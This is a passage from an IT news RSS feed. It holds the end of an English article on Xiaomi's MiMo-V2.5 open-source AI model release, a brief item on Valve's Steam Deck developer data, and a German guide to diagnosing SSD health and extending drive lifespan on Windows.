weights.</p></li><li><p><b>Unrestricted Commercial Use:</b> There are no revenue caps or user-base limits that often plague "community" licenses.</p></li></ul><p>By choosing MIT over a custom "open weights" license, Xiaomi is positioning MiMo as the foundational infrastructure for the next generation of AI agents, effectively inviting the global developer community to treat the model as a public utility.</p><h2><b>Xiaomi's background: from smartphones and EVs to Chinese open source AI darling</b></h2><p>Xiaomi’s pivot toward frontier AI agents is the logical culmination of a decade spent building one of the world's most dense hardware-software flywheels. </p><p><a href="https://www.mi.com/global/about/">Founded in 2010 </a>as a smartphone disruptor, the Beijing-based company has executed a high-stakes transition into a vertically integrated powerhouse defined by its "<a href="https://www.mi.com/global/event/2024/human-car-home">Human x Car x Home</a>" strategy. This ecosystem now encompasses over 823 million connectable smart devices unified under the HyperOS architecture.</p><p>The company’s 2024 entry into the automotive sector with the SU7 and the subsequent high-performance YU7 SUV served as a proof of concept for this integration, positioning Xiaomi as a direct competitor to global luxury marques. </p><p>By investing <a href="https://autonews.gasgoo.com/articles/ev/lei-jun-200-billion-yuan-rd-investment-over-the-next-five-years-2009297497954816000">200 billion yuan ($29B USD) into foundational R&amp;D for chips and operating systems</a>, Xiaomi has moved beyond consumer electronics assembly; it has become an architect of the "action space," using its massive hardware footprint as the primary testing ground for the agentic intelligence found in the MiMo-V2.5 series.</p><h2><b>Ecosystem support</b></h2><p>The release has been met with immediate "Day-0" support from the broader AI ecosystem. The MiMo team announced that <b>SGLang</b> and <b>vLLM</b>—two of the most popular high-throughput inference engines—supported the V2.5 series at launch. </p><p>This was made possible through hardware partnerships with <b>AWS, AMD, T-HEAD, and Enflame</b>, ensuring the model can run efficiently on everything from cloud-based H100s to domestic Chinese accelerators.</p><p>Fuli Luo, the project lead at Xiaomi MiMo and a former key member of the DeepSeek team, underscored the philosophy behind the release on X (formerly Twitter):</p><blockquote><p>"A model's value isn't measured by rankings alone — it's measured by the problems it solves. Let's build with MiMo now!"</p></blockquote><p>To kickstart this building phase, Luo announced a <b>100-trillion free token grant</b> for builders and creators. This massive incentive is designed to lower the barrier to entry for developers who want to experiment with the 1M context window without immediate financial risk.</p><h2><b>The economic realignment: open source vs. metered proprietary</b></h2><p>The launch arrives at a critical juncture for AI economics. The shift toward usage-based billing marks the definitive end of the "all-you-can-eat" buffet era for AI services, a trend underscored by <a href="https://github.blog/news-insights/company-news/github-copilot-is-moving-to-usage-based-billing/">GitHub’s announcement today</a> that its AI coding assistant Github Copilot will transition all plans to metered, token-based credits. </p><p>As seat-based predictability gives way to consumption-driven costs, premium agentic workflows—which can consume millions of tokens in a single reasoning session—are becoming increasingly difficult for enterprises to budget.</p><p>User sentiment has turned predictably cynical, with<a href="https://visualstudiomagazine.com/articles/2026/04/27/devs-sound-off-on-usage-based-copilot-pricing-change-you-will-get-less-but-pay-the-same-price.aspx?admgarea=features"> developers lamenting that they will "get less, but pay the same price</a>" as subscriptions convert into finite allotments. This pricing evolution significantly enhances the strategic appeal of the MiMo series. By releasing under a permissive <b>MIT License</b>, Xiaomi allows organizations to bypass the escalating "SaaS tax" and reclaim financial predictability through private deployment.</p><p>Crucially, Xiaomi has eliminated the "context tax" for its API. The 1-million-token context window is now billed at the standard rate—<b>1 token = 1 credit</b> for V2.5 and <b>2 credits</b> for the Pro version—with no additional multiplier. This stands in stark contrast to the industry-wide move toward session-based caps, positioning MiMo as a refuge for cost-sensitive, high-volume development.</p><h2><b>Analysis for enterprises</b></h2><p>The launch of MiMo-V2.5 is more than just a weight drop; it is a declaration of independence for the open-source community. </p><p>By matching Claude Sonnet 4.6 in multimodal agentic work and Gemini 3 Pro in video understanding, Xiaomi has proven that the gap between "closed-door" labs and open research is effectively closed. </p><p>With the MIT license as a catalyst and a 100T token grant as fuel, the coming months will likely see a surge in specialized, agentic applications built on the MiMo backbone.</p><p>Confirming the project's ambitious trajectory, the team noted they are already training the next generation, focusing on "deeper reasoning" and "richer real-world grounding". For now, MiMo-V2.5 stands as a testament to the power of sparse architectures and permissive licensing in the race toward functional AGI.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Valve Offers Devs a Peek at How Their Games Really Run on Steam Deck]]></title>
<description><![CDATA[By collecting and anonymizing user data, Valve can better inform how games are created and patched.]]></description>
<link>https://tsecurity.de/de/3469269/it-nachrichten/valve-offers-devs-a-peek-at-how-their-games-really-run-on-steam-deck/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3469269/it-nachrichten/valve-offers-devs-a-peek-at-how-their-games-really-run-on-steam-deck/</guid>
<pubDate>Mon, 27 Apr 2026 21:31:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[By collecting and anonymizing user data, Valve can better inform how games are created and patched.]]></content:encoded>
</item>
<item>
<title><![CDATA[So erkennen Sie SSD-Probleme frühzeitig und verlängern die Lebensdauer Ihrer Flashspeicher]]></title>
<description><![CDATA[Wer ein PC-Upgrade plant und deshalb gerade die Preisvergleiche der großen Onlinehändler prüft, reibt sich die Augen: Warum ist Speicher so teuer? Früher wurden SSDs und RAM doch laufend günstiger.



Diese Zeiten sind vorbei: Die Kombination aus explodierender Speicher-Nachfrage für KI-Server un...]]></description>
<link>https://tsecurity.de/de/3468303/windows-tipps/so-erkennen-sie-ssd-probleme-fruehzeitig-und-verlaengern-die-lebensdauer-ihrer-flashspeicher/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3468303/windows-tipps/so-erkennen-sie-ssd-probleme-fruehzeitig-und-verlaengern-die-lebensdauer-ihrer-flashspeicher/</guid>
<pubDate>Mon, 27 Apr 2026 15:40:23 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Wer ein PC-Upgrade plant und deshalb gerade die Preisvergleiche der großen Onlinehändler prüft, reibt sich die Augen: Warum ist Speicher so teuer? Früher wurden SSDs und RAM doch laufend günstiger.</p>



<p>Diese Zeiten sind vorbei: Die Kombination aus explodierender Speicher-Nachfrage für KI-Server und -Hardware und einer vorherigen Produktionsverknappung hat die Preise für SSDs massiv nach oben getrieben.</p>



<p>Denn zum einen bauen die Hersteller momentan vor allem DRAM-Speicher für Server und KI-Grafikkarten und weniger NAND-Flash für SSDs. Zudem setzen auch KI-Rechenzentren SSDs als Laufwerke ein. Die Folge: Das Angebot für PC- und Notebook-Anwender schrumpft, die Preise steigen. Laut Experten hat sich NAND-Speicher seit Jahresbeginn um rund 60 Prozent verteuert.</p>



<p>Ein gutes Beispiel ist die <a href="https://www.amazon.de/dp/B0B9C4DKKG?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Samsung 990 PRO NVMe M.2 SSD 2 TB</a>, die bei Amazon derzeit knapp 290 Euro kostet – bis November 2025 war sie meist schon für 160 bis 170 Euro zu haben.  </p>



<p>Diese Entwicklung verwandelt die SSD in Ihrem Rechner von einer jederzeit austauschbaren Komponente zu einem kostbaren Gut, für dessen Langlebigkeit Sie jetzt gut sorgen sollten. Mit unseren Tipps prüfen Sie die Gesundheit des Flashlaufwerks und können sofort Gegenmaßnahmen ergreifen, wenn sie sich verschlechtert. So läuft Ihre SSD problemlos, bis die Preise wieder sinken.</p>



<p>Falls sich aber doch mal eine SSD verabschiedet, finden Sie in unseren Vergleichstests <a href="https://www.pcwelt.de/article/3045261/beste-ssd-test.html" target="_blank" rel="noreferrer noopener">Die besten SSDs aller Klassen von SATA bis PCIe 5.0 im Test </a>und <a href="https://www.pcwelt.de/article/2864644/die-besten-pcie-4-0-ssds-im-test.html" target="_blank" rel="noreferrer noopener">Die besten SSDs mit PCIe 4.0 im Test </a>leistungsfähigen Ersatz.</p>



<h2 class="wp-block-heading toc">An diesen PC-Fehlern erkennen Sie SSD-Probleme</h2>



<p>Eine SSD stirbt leise. Da dem Flashlaufwerk bewegliche Teile fehlen, hören Sie im Schadensfall kein verdächtiges Klackern wie bei einer HDD. Deshalb sollten Sie auf ungewöhnliches Verhalten des PCs achten, dessen Ursache SSD-Fehler sein könnten.</p>



<p><strong>Auffällig langsamer Windows-Start. </strong>Wenn das Betriebssystem behäbig startet und es lange dauert, bis der Anmeldebildschirm oder Desktop angezeigt wird, kann das an zu vielen Programmen im Autostart liegen. Doch falls das gesamte System während des Betriebs für Sekundenbruchteile einfriert, sollten Sie aufmerksam werden: Dieses Verhalten kann auftreten, wenn der SSD-Controller versucht, Daten aus einer Speicherzelle zu lesen, die ihre physikalische Integrität verliert. Das Laufwerk muss den Vorgang dann wiederholen, um die gewünschten Daten fehlerfrei zu erhalten, was das gesamte System ausbremst.</p>



<p><strong>Fehler beim Dateizugriff. </strong>Ein deutlicheres Warnsignal sind Fehlermeldungen beim Zugriff auf Dateien. Meldet Windows beim Öffnen eines Dokuments, dass es beschädigt ist oder aufgrund eines „E/A-Gerätefehlers” nicht geöffnet werden kann, sind sehr wahrscheinlich die SSD-Speicherbereiche bereits defekt, in denen die gewünschten Daten liegen. Einige Laufwerke verfügen für diesen Fall über einen eingebauten Schutzmechanismus: Sie schalten in einen Nur-Lese-Modus um, wenn die Fehlerquote einen kritischen Schwellenwert erreicht. Sie können dann Dateien noch aufrufen und kopieren, aber neue oder geänderte nicht mehr speichern.</p>



<p><strong>Windows stürzt plötzlich ab. </strong>Meldet sich das Betriebssystem unerwartet mit dem berüchtigten „Blue Screen of Death” ab, der als Fehlerursache „WHEA_UNCORRECTABLE_ERROR” zeigt, ist häufig ein schwerwiegender Fehler im Kommunikationsweg zwischen Prozessor und Speicher das Problem. Die Ursache dafür kann eine thermische Überlastung oder ein instabiler SSD-Controller sein. Auch hier sollten Sie nicht warten, sondern sofort eine umfassende Fehlerdiagnose starten.</p>



<h2 class="wp-block-heading toc">Bordmittel oder Gratis-Tool: So prüfen Sie die SSD-Gesundheit</h2>



<p>Windows gibt über ein verstecktes Bordmittel Hinweise auf den Zustand der eingebauten SSD. Um es zu nutzen, öffnen Sie über das Startmenü die „Einstellungen”, navigieren zu „System” und dort zu „Speicher”. Unter den „Erweiterten Speichereinstellungen” finden Sie den Bereich „Datenträger und Volumes”. Wenn Sie bei Ihrer SSD auf die Schaltfläche „Eigenschaften” klicken, zeigt Ihnen Windows die „Geschätzte verbleibende Lebensdauer” sowie die aktuelle Temperatur an. Diese Anzeige basiert auf den sogenannten SMART-Werten (Self-Monitoring, Analysis, and Reporting Technology), die jedes moderne Laufwerk ständig im Hintergrund aufzeichnet.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"69ef672eb4919"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Ratgeber-SSD-Windows-Datentraeger-Anzeige.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Ratgeber SSD Windows Datentraeger Anzeige" class="wp-image-3115876" width="1200" height="816" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Windows 11 kann Ihnen in den Einstellungen den aktuellen Gesundheitszustand der SSD anzeigen, etwa die verbleibende Lebensdauer und aktuelle Temperatur.</p></figcaption></figure><p class="imageCredit">Friedrich Stiemer</p></div>



<p>Diesen Status sehen Sie aber nur, wenn die SSD mit dem Windows-Standardtreiber für NVMe arbeitet. Notebooks mit einer Intel-CPU verwenden aber oft einen Intel-Treiber wie „Intel RST VMD Controller”, was Sie im Geräte-Manager unter „Speichercontroller” prüfen können: Er gibt die SMART-Werte der SSD nicht weiter, Windows zeigt deshalb den erweiterten Status dann nicht.</p>



<p>Für eine detailliertere Analyse empfehlen wir das Gratis-Tool <a href="https://www.pcwelt.de/article/1161213/crystaldiskinfo-3.html" target="_blank" rel="noreferrer noopener">Crystaldiskinfo</a>. Nach Installation und Start zeigt es eine tabellarische Übersicht. Achten Sie vor allem auf die Information, die oben links steht: Dort signalisiert ein farbiger Punkt den aktuellen Gesamtzustand der SSD. Ein blaues „Gut” bedeutet Entwarnung. Bei einem gelben „Vorsicht” sollten Sie am besten rasch Ihre Daten sichern und einen baldigen Austausch des Laufwerks in Betracht ziehen. Ein rotes „Schlecht” fordert Sie zum sofortigen Handeln auf.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"69ef672eb52b6"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Ratgeber-SSD-CrystalDiskInfo.png" alt="Ratgeber SSD CrystalDiskInfo" class="wp-image-3115878" width="674" height="658" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Crystaldiskinfo ist ein bewährtes Tool, um Laufwerke gründlich zu prüfen. Mit einer kleinen Umstellung lassen sich die Daten sofort verständlich anzeigen.</p></figcaption></figure><p class="imageCredit">Friedrich Stiemer</p></div>



<p>Um die kryptischen Zahlenwerte im Tool verständlich zu machen, ist ein kleiner Handgriff nötig: Standardmäßig zeigt Crystaldiskinfo die von der SSD erhobenen „Rohwerte” im Hexadezimalformat. Gehen Sie deshalb im Programmmenü auf den Punkt „Optionen” oder „Funktion”, wählen Sie „Erweiterte Optionen”, dann „Rohwerte” und stellen Sie um auf „10 [DEC]”. Nun sehen Sie beispielsweise bei der Betriebsdauer und den geschriebenen Datenmengen leicht nachvollziehbare Zahlenwerte.</p>



<p>Um die Lebensdauer Ihrer SSD einzuschätzen, achten Sie auf den Punkt „Percentage Used” oder „Verschleißregulierung”: Wenn dieser Wert bei 95 Prozent liegt, bedeutet das bei den meisten Herstellern, dass bereits fünf Prozent der garantierten Lebensdauer verbraucht sind.</p>



<h2 class="wp-block-heading toc">Expertenanalyse mit der Windows-Ereignisanzeige</h2>



<p>Einen tiefergehenden Blick ins SSD-Innenleben liefert die Windows-Ereignisanzeige – sozusagen das Tagebuch Ihres Rechners. Hier lassen sich Laufwerksprobleme erkennen, die die Diagnosesoftware verschweigt, weil ihre Häufigkeit noch unter einem festgelegten Schwellenwert liegt.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"69ef672eb5eb2"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Ratgeber-SSD-Ereignisanzeige.jpg?quality=50&amp;strip=all" alt="Ratgeber SSD Ereignisanzeige" class="wp-image-3115881" width="1024" height="693" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Die Windows-Ereignisanzeige protokolliert minutiös alle Vorkommnisse und vergibt Ereignis-IDs, die Auskunft darüber geben, was passiert ist.</p></figcaption></figure><p class="imageCredit">Friedrich Stiemer</p></div>



<p>Öffnen Sie die Ereignisanzeige mit einem Rechtsklick auf das Windows-Logo in der Taskleiste und den Eintrag „Ereignisanzeige”. Navigieren Sie im Programm links zu „Windows-Protokolle &gt; System”. Suchen Sie unter der Spalte „Quelle” nach dem Eintrag „Disk”, indem Sie beispielsweise die Quellen alphabetisch sortieren.</p>



<p>Besonders kritisch ist die Nummer 7 in der Spalte „Ereignis-ID”: Sie besagt: „Das Gerät hat auf \Device\HarddiskX\DRX einen schlechten Block gefunden.” Das ist die Diagnose für einen physischen Defekt.</p>



<p>Auch die Ereignis-ID 153 ist ein ernstzunehmender Hinweis: Sie besagt, dass eine Lese- oder Schreiboperation wiederholt werden musste. Häufen sich diese Meldungen, wird die SSD nicht mehr lange funktionieren.</p>



<p>Sollten Sie die Event-ID 157 entdecken, hat Windows den Kontakt zum Laufwerk verloren, was auf ein defektes Kabel oder einen lockeren Kontakt im Gehäuse hinweist.</p>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h2 class="wp-block-heading toc">TLC gegen QLC: Der bessere SSD-Speicher</h2>



<p>Warum halten manche SSDs länger als andere? Das liegt vor allem daran, wie das NAND-Flash des Laufwerks Daten speichert. Die meisten SSDs arbeiten mit TLC- oder QLC-Speicher.</p>



<p>TLC (Triple-Level Cell) speichert drei Bits pro Zelle. Das erfordert eine präzise Messung der Spannung in acht Stufen. Die Belastung des Materials ist moderat, was zu einer Lebenserwartung von etwa 3000 Schreibzyklen pro Zelle führt.</p>



<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"69ef672eb6ba8"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Ratgeber-SSD-TLCvsQLC.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Ratgeber SSD TLCvsQLC" class="wp-image-3115877" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">OSCOO</p></div>



<p>Bei QLC (Quad-Level Cell) liegen vier Bits in derselben Zelle. Dafür muss der Controller 16 verschiedene Spannungsniveaus unterscheiden können. Die Zellen nutzen sich dadurch schneller ab – oft garantieren die Hersteller für SSDs mit QLC nur 1000 oder weniger Schreibzyklen.</p>



<p>Ist trotz der sehr hohen Preise gerade jetzt ein SSD-Neukauf notwendig, sollten Sie der Versuchung widerstehen, zu den günstigeren QLC-Laufwerken zu greifen. Wenn die SSD Ihr Hauptlaufwerk ist, auf dem Windows und alle Programme installiert sind, sollten Sie lieber in die robustere TLC-Technik investieren. Sie sparen sich damit möglichen Ärger und das Geld für einen verfrühten Neukauf.</p>
</div>



<h2 class="wp-block-heading toc">So hat Ihre SSD weniger Stress</h2>



<p>Sie können die Lebensdauer des Flashlaufwerks verlängern, indem Sie es clever im Rechner platzieren und wichtige Softwareeinstellungen vornehmen.</p>



<p>Eine SSD ist ein Hochleistungsbauteil, das im Betrieb Wärme erzeugt – vor allem der SSD-Controller leidet unter Hitzeentwicklung. NVMe-SSDs im M.2-Format, die direkt auf das Mainboard gesteckt werden, erreichen unter Last Temperaturen von über 70 Grad Celsius. Üblicherweise greift dann eine eingebaute Notbremse: Die SSD drosselt ihre Geschwindigkeit, um Schäden zu vermeiden. Dieser Wechsel zwischen Hitze und Abkühlung belastet aber das Material.</p>



<p>Deshalb sollten Sie dafür sorgen, dass die SSD nicht überhitzt – das gilt besonders für Anwender, die häufig große Datenmengen wie zum Beispiel Videos kopieren.</p>



<p>In einem PC sollte die SSD idealerweise im Luftstrom des Gehäuselüfters liegen. Wenn Ihre Hauptplatine keine Kühlkörper für die M.2-Steckplätze besitzt, können Sie einen passiven Kühlkörper für unter 10 Euro nachrüsten, etwa den <a href="https://www.amazon.de/dp/B09VH29PR1?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Arctic M2 Pro Heatsink-Kühler</a>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"69ef672eb7486"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Ratgeber-SSD-Heatsink.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Ratgeber SSD Heatsink" class="wp-image-3115882" width="1200" height="900" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Die Nachrüstung eines passiven Kühlkörpers für eine M.2-SSD ist eine kostengünstige und simple Maßnahme, um die Betriebstemperaturen für das Flash-laufwerk spürbar zu reduzieren.</p></figcaption></figure><p class="imageCredit">iFixit</p></div>



<p>Diese Metalllamellen kleben oder schrauben Sie auf die SSD – sie können die Temperatur oft um 10 bis 15 Grad senken. Weniger Möglichkeiten haben Sie bei einem Notebook: Hier können Sie aber darauf achten, den Laptop nicht dauerhaft zu stark auszulasten sowie die Luftein- und -auslässe am Gehäuse nicht zu blockieren.</p>



<p>Eine wichtige Softwareeinstellung für ein längeres SSD-Leben ist das sogenannte Over-Provisioning: Die SSD stellt dabei dem Betriebssystem weniger Speicherplatz zur Verfügung, als sie eigentlich besitzt. Dadurch kann der Controller Daten intern effizient umschichten und muss einzelne Speicherzellen nicht zu häufig beschreiben oder löschen, was sie abnutzt.</p>



<p>Das erreichen Sie, indem Sie die SSD nicht vollständig partitionieren, sondern nur zu rund 90 Prozent. So bleiben dem Controller zehn Prozent Speicherplatz als Daten-Rangierbahnhof. Einfacher geht es mit einem Tool des SSD-Herstellers, zum Beispiel <a href="https://www.awin1.com/cread.php?awinmid=14815&amp;awinaffid=486277&amp;clickref=rss&amp;platform=dl&amp;ued=http://www.samsung.com/de/memory-storage/magician-software/" target="_blank" rel="noreferrer noopener">Magician</a> bei Samsung-SSDs.</p>



<h2 class="wp-block-heading toc">Tipps für Windows: So entlasten Sie Ihren Speicher</h2>



<p>Windows 11 geht üblicherweise pfleglich mit einer SSD um. Doch mit ein paar gezielten Handgriffen können Sie die Schreiblast weiter senken. Ein zentraler Punkt ist der TRIM-Befehl: Durch ihn erfährt die SSD, welche Daten gelöscht wurden, um diese Bereiche im Hintergrund zu säubern.</p>



<p>Stellen Sie sicher, dass diese Funktion aktiv ist, indem Sie im Startmenü „Laufwerke defragmentieren und optimieren” eingeben. Dort sollte bei der SSD unter „Aktueller Status” entweder „Optimierung erforderlich” oder „OK” stehen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"69ef672eb7e95"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/04/Ratgeber-SSD-LaufwerkeOptimieren.png?w=1200" alt="Ratgeber SSD LaufwerkeOptimieren" class="wp-image-3115879" width="1200" height="758" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Windows 11 wird SSDs in der Regel auto­matisch optimieren. Falls das nicht der Fall sein sollte, können Sie den Prozess auch selbst anstoßen.</p></figcaption></figure><p class="imageCredit">Friedrich Stiemer</p></div>



<p>Eine klassische Defragmentierung, wie man sie von Festplatten kennt, ist bei SSDs pures Gift, da sie die Zellen unnötig oft beschreibt, ohne einen Geschwindigkeitsvorteil zu bringen. Windows erkennt dies automatisch und führt stattdessen den TRIM-Vorgang durch.</p>



<p>Wenn Ihr Rechner über sehr viel Arbeitsspeicher verfügt – zum Beispiel 32 GB oder mehr –, können Sie erwägen, den Ruhezustand vollständig abzuschalten. Ist dieser aktiv, schreibt Windows bei jedem Ausschalten den gesamten Inhalt des Arbeitsspeichers auf die SSD, was wertvolle Schreibzyklen kostet.</p>



<p>Um dies zu verhindern, klicken Sie mit der rechten Maustaste auf das Windows-Logo in Ihrer Taskleiste und wählen „Terminal (Administrator)” oder „Eingabeaufforderung (Administrator)”. Tippen Sie in das schwarze Fenster den Befehl powercfg -h off ein und bestätigen Sie mit der Enter-Taste. Damit löscht Windows gleichzeitig die Platzhalterdatei auf Ihrem Laufwerk und spart oft mehrere Gigabyte Speicherplatz ein.</p>



<p>Als Alternative bietet sich der „Energie sparen”-Modus (Standby) an, der die Daten lediglich im RAM behält. Diese Funktion können Sie unter Windows 11 nach Ihren Wünschen anpassen: Öffnen Sie die „Einstellungen” mit der Tastenkombination Windows-I, navigieren Sie zu „System” und wählen Sie dort den Bereich „Leistung”.</p>



<p>Unter dem Punkt „Timeouts für Bildschirm, Standbymodus und Ruhezustand” legen Sie in den Drop-down-Menüs fest, nach wie vielen Minuten Ihr Rechner automatisch in den Standby-Modus wechseln soll, sowohl im Akku- wie im Netzbetrieb.</p>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h2 class="wp-block-heading toc">Wie lange lebt meine SSD noch?</h2>



